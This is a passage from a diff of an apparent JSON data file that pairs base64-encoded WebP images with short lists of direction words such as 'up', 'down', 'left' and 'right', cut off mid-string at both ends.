tVlAEKA3VDIvietqp4bRF2IN7thYJk37foXPgdUdR5kLz6GMCDvph2/8JvBmzzwcZjBY5Fjy7bzrT4zDCQP7A7BXo9Fl2FN64eD3E43mDze7PrBPGqXYY/g26o2jj2OgOc2Nvfio48Bjq1dfi1bDHE8gpIHjDN4LLpRTfNg2Q5achYG5IHdPuz1qN24gJoBy3ZQ41hCaPV4s7sB86jd6FCT12Dw3PEIf26j/9NKq/M8hy3AInFNO+wuNxUAeeinqp4LbAVq0po2gGMJourhXbElqAlr2gCXuKkMKETF1sCSZRjcqjr2LKTPDavYIiwSZQix5OZioCELbBVqkgxBHHt3BCC/BbYMNUEVQZbcfAwgnwW2DjU5FUGfa/+BGcZ5jquIwHyRmIqwNzmMlUMMgMQgsLKzNFlSLNAd5lCXJlhCDIGVvRWPdSiEaVWbZFxC4Cn3Mh771mFgwTQZexaBHX+KRsvVwR62DgHzqN5LVU1GQs0Mw2A+RbwfQ1BdaRv8YK68DD6wIjNwsBJT1Yo+VFfqhg2YS3/TaheamFvdqJmTCE0etl4pbMC0C93qJGatgGNfRgXnPGwNG0ICGrE7CD870Ddp4wLqCxwMwLVoEQR3mCY2IImpAKJlEgeYNjqgYWQMSdyNFGEEkwjh3JAKMCoxj5RJmPYe2OlGPg6QH6HVCWMCmB3QCBEklalRAvkQ0GrDkASiZCLKIE4gjrCho5hFiCBpzE6scK6vYoCKIEJ3RC4xN6IF2iCwF5h7ItfiA9HTzIt4gZwS+DvMJRFE57aM9h9BxEAKz6fMCZnLsXkl8ow5FbWBR/tU5mFUDuhOJzplLB3E3BdpIzOTofTYOJq4YBxIzz8yGpUdIddPCQFzSGgSkSMPZKYpoj4VASwmGIelyGQQkfNClCIbCcXjwUiQIhKyeEBY+yklrY7kZTTO5MikT4VwIha3haaM5cilWLzKkYYxoXuxgGzbpAgwpmllNBIkNWGQJZM4WJaAmeSA66c8aeIAaeZEao71aSc8jQJJGXMlT1AwF8dCMbCxPEqVpe9Sqm4wj6SmMUCmPMiP16m6Gj8SO810mYIInBKrqXrGXMqGw8kBc1qMtu+62OG+Wm5aPP/mThW7tn2Ps+Vw8dUfBYfj97///wM/AA==": [ + "right", + "down", + "up", + "up", + "left", + "down", + "down" + ], + "data:image/webp;base64,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": [ + "right", + "down", + "up", + "right", + "down" + ], + "data:image/webp;base64,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": [ + "right", + "right", + "down", + "right" + ], + "data:image/webp;base64,UklGRgoFAABXRUJQVlA4TP4EAAAv/8A/AOfiqJEkR8rKWv9d/iwW3Z5pGg4iSVKkqn5mtPViX95hO2gjyZGqq3URzjE/RgfgEcSZ/wAiECIEYkEYA2L88/ftF8UMj/t7aSqJv3/rZhEDgWBGjO5LNOvoppJAjEMUgiJGDMSPny0roxjrbmFkFENAZGQUo5syihHDKIZKKkiEsBVkS0pkqyxstQtboq6LduFa27Jb552ruizWYbeuG+ZgxjwGxzG7wQ7X7+U6n47j7vnfvh3v+KagaGtvGklyMzNzZ5iZs5saZmym93+QrsSO5WqrBsu/FNF/CG4bOZLont29MHOTY/c9wLCfjv86/vvb2Vglf7/rHxChJyL9fBg6UaEnKokPoqqPqImqnrDhWLVZaIk2c8xDH+lEy5FExzqq/fE3cKLVCB3rqA4wQG15REXUFg6c2AsNUY3+i9d8THZHN0tJjj7cy4md4n+MjnNHPC9JlxEj552OQr6NMvRDvysx509ZKvu+L/s1Om56OIB3xNkHNz0czPtTsfbBzw/3XdvY4Vgph65tcb/8U56KOPYw1kBco8dg9tUZGFYjWivCqGOtGfD6mfWP6hEm7fsAn99j/Vv7fsD9u6qw+B7JNz2rOazeknQfktikFTf/PMT/gPg87+L/vJv96y7+r7vZv+/C/n03/u+7sn/fvY147tIGPHdrA567gv/n7m1AvYs2oN5NG1DvCvzXu2sD6l22AfVu24B61+C/3j3T7S7ainY3/Le74r/dHfPtLtlvd8t/u2v+293z/38n/qLDfjr+i7J1Yd7qNy3Yt0Vcsh+pYMXmFoBX45TdFsAQXCe09Yva6zskyeU/nhDmm+ovfgB+Z1oVuQPgUkp9NOMWzB3EyzfVrXJ6aMYtGKBFrIqIJCArRGS1Mh6hL59tLhGPWxZGSquVrAUiehoBiq3yH9Bm0qnpNYQxuyA2z9PsXK3UGzfMZGEA0GrCbSSVk5jSH1i1TMJr1TyEYussp7QAgYuENnTh9lYp9wSlXHu2VcryorzZAp6E6GKQoqXmEr0t/sU2Hf/9yeibqnLv/3Qqo3eeFaWO7aJqukywiG3bzf2e9lrG7ezuW7zy3gSNzarHc3eb1NU4o7JVr4TtqvPR80m4jek6H6NDamAXRMp1YxNB3RyRZLpxXr4SkhYSlzwn8zktPW6ZPiLjEh0xKFrEamT0kDntkIWvlwAgj02Hvh9ExlujcksWu6ZX6jF8WbEctMKaMXFL7uOpZekENhu91nf1KhfeckAe1pyJbynMpAvusAYrX8Wl0TXnBJy7Y8991Y91NM7fAd669ZoIltroa9GVrx2/OCfCxDBaG3VpdI02vXaeb8cxd8KAW/nlg2tcuiNZGsRqn4/cXV6E3I3xZ6AbLrOBAAAQZ6Nd5x0bywKNnEIRTSPdrm+hacX/nJ1CZiKahRqMr/fWFTXNYsa9HPKJKTVRzQvr5nJ3C+L/vRqnFuJy1cQ2V6x7i+UfSfz7se5cu+uZiK5Bq8Udhf/1qv18y+LD61LeiCyb6OpqWAe0m+Bn+EqtnWvuuvMfYeet9uBp0HFs5UI3KL2wH1vZMNplM7MtiexWxSfDBkC0KvueNqmGiMssMdmP5GWdPWgUW4SQJYYA+EFwzmUfyMPL4wYafzdevq6kgUnvq5Q7b7/Vu+7aYPYf1+U17j0afpOlAvb7DEwnnX/wbgvAa8N7+gz76fiv479fWgA=": [ + "down", + "left", + "down", + "up", + "left" + ], + "data:image/webp;base64,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": [ + "up", + "right", + "up", + "down" + ], + "data:image/webp;base64,UklGRr4FAABXRUJQVlA4TLEFAAAv/8A/AP/iKpJkKZqq5uYLBdjAAP4N3eyKYBVJspMNZCShA2vo5PuFW0eNJDlSZ+b6JbGvY3T8ibj5VxIgANKRH4VZGuVRHnWM5h+sK4g47bqKoxQHQglCCSKOEsQ3+OeUlOIoQSjFiQMRB0JJBEhESKgAIxEgACATESIRk7Z2AERNbYhMTIxIrFgxsFJB2w6WHHGGKXtsWb+fO3/H+BjPUxyl7XnpD/S7GqCAhY/9fZvvW7uulCAMFG1rT1tHmto3Za4cXygzuZEaKDNkqo7KTO//Goml2IptDef7IvoPwY0kRZJzmW6wYXruAyL6Wflv5b9/kHz74sQzHUvP519riDy+iz7yZ/R9ef+T8OZrt2pkPr2NPuBt9OHj6+gDXn/tRo3Ox1driDzgR/S9iv+TyH/kr/wPvf3r3O7+TPIDvnNRvyu23vy1P+7yaw0r/8cdu3bcceX/uOPK/3HH/6kYd1z573/WJcESaQMD7aSolMNR0B8YTgHoCrHakLROTKVcioFTZJmtlPqeC6D6Hsptv7V4P3LtILkTQI/k4iVDkik2rJvqngNw/4rLurlBXic5JjkEMAKgSZ4mb0zIkyNs9VooB6QgM0WOSU5I2hGgvVEkNckhbG2FPAyAJLdGQMGZQhb1tlHjjSW32kYW2pKmMLSNiKGEmx5JQJIAgxolLePOe3OwuASUnowAFE68dp8pG+84arjVG9nNnjanD5w2k71sIVLb1iU5aciZu3tP2ZtpPoWA4UY6tEpkduaJvxwkyabL24dmQs82PkUOw0IOLVJlVXbNkjp+9p70SmckLYcbymZijrnjEGKF9CpgWDjTofhkTueQ2znzGHcBPL5A7m7wgyNT21G5efka6Obx5WPk5sVN5gCOcyd2O9nhpEdytxMACKzbMy5nBOCGd7uWIS/N19L9miFdib6bwZZf28tnJ+Gm83lIp90yX7NbPJqoe1UMK0eT9Du8BBkS5p1icuEMXSd2p7VTap9IMisHWJbOenLjBMJYVjbLNlIBaTqsDJJobg6UDWeKONthnTtZmOV7psh6/ugmzz31Vk13TZBWoADqXV5eICdLIhosDbMgnuOSODIF6spxhnxQ86ADSZTrd7UxrOLxhUPI4dK8O89ZYG+TbQuk1EWpTYeouDSJBCUiRRWHBJB4oCXjN8fDAa4sH0k61BAVQMxpz3y0xM4wDovSwxcL9sWprygyL0OpOXXDdIG8PeN3l54HK/ezlz73E5Ln3H7OZs9YJbIgHkAakmS1VYJ53PovQ3tyKRhlF5Izg6RvqDeNzYIBAKAO2UKHcyeqpmzRAjwP3CrVJfMLmYlAaAo5Tx1wqDaOJSOjeshzpVx4tJhyXT41wP0HJC15LiHZ22RPhEOSZBgtjeeoXaasJxsp3DEKw8JdVX1LCm8OccnJRFnhjAWh/fFdhhszvrE15zKwzJpEiYVkp1xITRccg3ld0yBKdBGoauWmy9BmDTIW3QSZNSQX6Cd020fnRHPoxEcat+HVDZfFBklZbql3NYdOKtEJOiGyqEpb5qIx8qTLALJ48Lv3Sdmh+XJpjDypiAm6I/tOjpXTZnL6g8YyE8tXtXw99NhdH6JbklE5ZZDuo/QnGqJS9eI63z0nb5aWt6Y1ZJOIGu6kXXXOad6fy5pC1sGe6KwcvItcNEHlIfKxe5z2gOi0NIQUtTCCClHNSdeZ2HkhRV23o2YKVD+yRs+0Rc7VpJJ0gSNRczWpZrci6XElSp5ev3ML52TCilJlyc6Wh3Ftj0C99nTfkL56qWPtC3N4LUTbtj/wtUtE194BupZhprJAbftMkbfCHHvrpH5Jb1TdRhpu2gFAOsf4uzjr5XEbJ9ed3NwffB3q8rHHiP9/Z/73Psmdx+dGvYRkjK+GE8vSRecxtugc0DhD4R2WiLOee9qDYYFYJ6MiORf9rPy38t/Kf38aAQA=": [ + "down", + "left", + "up", + "down", + "down" + ], + "data:image/webp;base64,UklGRsQEAABXRUJQVlA4TLgEAAAv/8A/AF/CJgDbNpKyWhDrLPXiKoO9KxoOIsl2op0lZxCAAjxjEAXpbhlFku1kZ99PNxRgB31IREK8pTf/ASkQIJJRAsD/D0kqC9iCDSAC29bn5nvjiJPe54Ok4VgQ0BDmIoUEglgWERjEIsQiGACUpqvBV1UElAAQSGJAIJtssvENQZUScoZzODip2Wf9Mqn/v78d5rKQjRIVIYIfyEYgGwFBabrSdNOJ73qkZ8An+7Ybm5VDoq29bduwreXsne495Wx1t1ly93r/F2osGmTBH92mQMmK6D8kto0cSXQV7no2Xb7t7r3wNuJn4r+J//7H7fOXQKK4NMFkcqkiFGqAVTCNrAJpbBVEo6sAGl+xb4TFvDEW60ZZjBtnsW2kJXR/sxbr7nD5eMVajPtKB2zfVS9bi23Hz9j2Xe3FteGtO1y3FsvuAK67RGtxfB7duhOh+DW8dTdKcWuY646dtXhdAui6a1SWiVDXnSPLBrvuHjk2Ql8bWzpuuiZkj1bGpvYz24zcng/a8XhTDa5iE7ZEiK+3T+TUYcspcl/rLR2fSwTulEJdLuLvMcOf6S8PoH3XRIqDi/7eZg4vDx4DmlbpeRKE8MZ+hwvQzfR7L0ljT8NpbFo9y8GnGrd+L26Qxp6GdYyNjgS5mJ2sksaehk3MeqMuIbeTkq8x7eXbqdAD3OYTQU6XU94/8xUXcHtLcUw3pYhayVXU7q1852lMfgHvaSWPQVuhyF3kLi/0eUWs39slOXWhJLuxqVykxquXrYzwM3Z5Cau3oIBlQ5KBm5ZkmFVcwmt3heTUjdI+QnctX7HI6PPu8K3QJMe4vtze32bBO6QZuGppDivOXcXq4QrNqSslfojG6i08hioRJee4veTLrQI1v59YpdPq/VigVpilSguY3nITLfsFKD1N7NJZnoCUGMbyVsT4c1fHHE0thxDKV1gmZ/4IbIbHWB/6Cs1M28+ec6VZ07YjT7Dp97LENhqbdvQQNDEb8tVqnOF7EV5rbYyzGxu+FwnzISX5D70IGM4Ta7/3T7xNyy/iMkgkfsvbugwuyTe99T23x+XO3Q8uh0D7AXkgPp2W0lMtxafb5S++Uvyz/DJf0Y26vinu/S4v25ByOk2ya1OSiN/8M89he1p8qsdSYlX/nd13yH/t5135JLF9h0L6dbfCCL/uWhiVfd29MMIrjKrog8KcEfwshRkh9xUVZpTY+w6FqZ